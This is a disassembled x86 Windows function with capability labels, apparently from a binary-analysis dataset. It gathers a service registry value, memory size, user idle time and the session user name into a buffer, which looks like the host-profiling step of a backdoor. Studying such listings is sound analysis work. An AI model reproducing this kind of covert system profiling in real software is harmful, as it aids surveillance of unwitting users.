Function at 0x1000acf5
Capabilities:
Get memory capacity
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6e0
push ebx
push esi
push edi
push 0x100273dc
lea eax, [ebp - 0x564]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [ebp - 0x360], 0xc8
call dword [0x100272d4]
xor ebx, ebx
push 0x1e
lea eax, [ebp - 0x35f]
push ebx
push eax
call dword [0x1002734c]
add esp, 0x18
lea eax, [ebp - 0x35f]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x35f]
push ebx
push eax
push 1
lea eax, [ebp - 0x564]
push str.Group
push eax
push SysReAllocString
call fcn.1000d060
push 0x10
lea eax, [ebp - 0x30]
pop edi
push edi
push ebx
push eax
call dword [0x1002734c]
mov esi, dword [ebp + 8]
add esp, 0x2c
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], edi
push eax
lea eax, [ebp - 0x30]
push eax
push dword [esi + 0x48]
call dword [0x10027384]
lea eax, [ebp - 0x564]
push eax
lea eax, [ebp - 0x33c]
push 0x32
push eax
call fcn.10008d6d
add esp, 0xc
cmp dword [0x10027570], ebx
je 0x1000adb9
lea eax, [ebp - 0x340]
push eax
call fcn.1000ab2c
pop ecx
lea eax, [ebp - 0x2c]
push 4
push eax
lea eax, [ebp - 0x340]
push eax
call fcn.1000accc
lea eax, [ebp - 0x33c]
push 0x32
push eax
lea eax, [ebp - 0x33c]
push eax
call fcn.1000accc
add esp, 0x18
lea eax, [ebp - 0x308]
mov dword [ebp - 0x308], 0x9c
push eax
call dword [0x1002729c]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
call fcn.10008e43
add esp, 0xc
test eax, eax
je 0x1000ae2d
mov eax, dword [ebp - 8]
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x264], eax
call fcn.10008e03
test eax, eax
setne al
mov byte [ebp - 0x240], al
lea eax, [ebp - 0x260]
push eax
call fcn.10008d13
pop ecx
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x70], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
push 0x14
pop ecx
call fcn.10015810
push ebx
mov dword [ebp - 0x23c], eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 4]
push eax
push 0x1001ffa0
push 0x17
push ebx
push 0x1001ffb0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x1000ae9b
mov eax, dword [ebp - 4]
push ebx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x6e0]
mov dword [ebp - 0x6e0], 0x17c
push ebx
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x2c]
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x6a4]
mov ecx, 0x3f0
xor edx, edx
mov edi, ecx
div edi
xor edx, edx
mov dword [ebp - 0xfc], ebx
mov dword [ebp - 0x20], 8
div ecx
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [0x1002727c]
sub eax, dword [ebp - 0x1c]
cmp eax, 0x2bf20
jbe 0x1000af0b
mov dword [ebp - 0xfc], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24c], eax
call fcn.10008e8c
push eax
lea eax, [ebp - 0x1f2]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
call fcn.10008bee
mov dword [ebp - 0x248], eax
call fcn.1000a9e8
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push eax
lea eax, [ebp - 0x11c]
push eax
call edi
lea eax, [ebp - 0x564]
push eax
lea eax, [ebp - 0x238]
push 0x32
push eax
call fcn.10008db7
add esp, 0xc
lea eax, [ebp - 0xf8]
push 0x100273a8
push eax
call edi
mov eax, dword [0x100273d8]
cmp eax, ebx
jne 0x1000af7e
push 0x1002503c
jmp 0x1000afa4
cmp eax, 1
jne 0x1000af96
lea eax, [ebp - 0xe4]
push 0x10025048
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x100273d8], 2
jne 0x1000afb2
push 0x10025054
lea eax, [ebp - 0xe4]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x45f]
mov byte [ebp - 0x460], bl
mov dword [ebp - 0x18], 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x460]
push eax
push 0x10025060
call dword [sym.imp.MSVCRT.dll_printf]
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0xb2]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x10
lea eax, [ebp - 0x360]
mov ecx, esi
push 0x2f0
push eax
call fcn.10001b85
pop edi
pop esi
pop ebx
leave
ret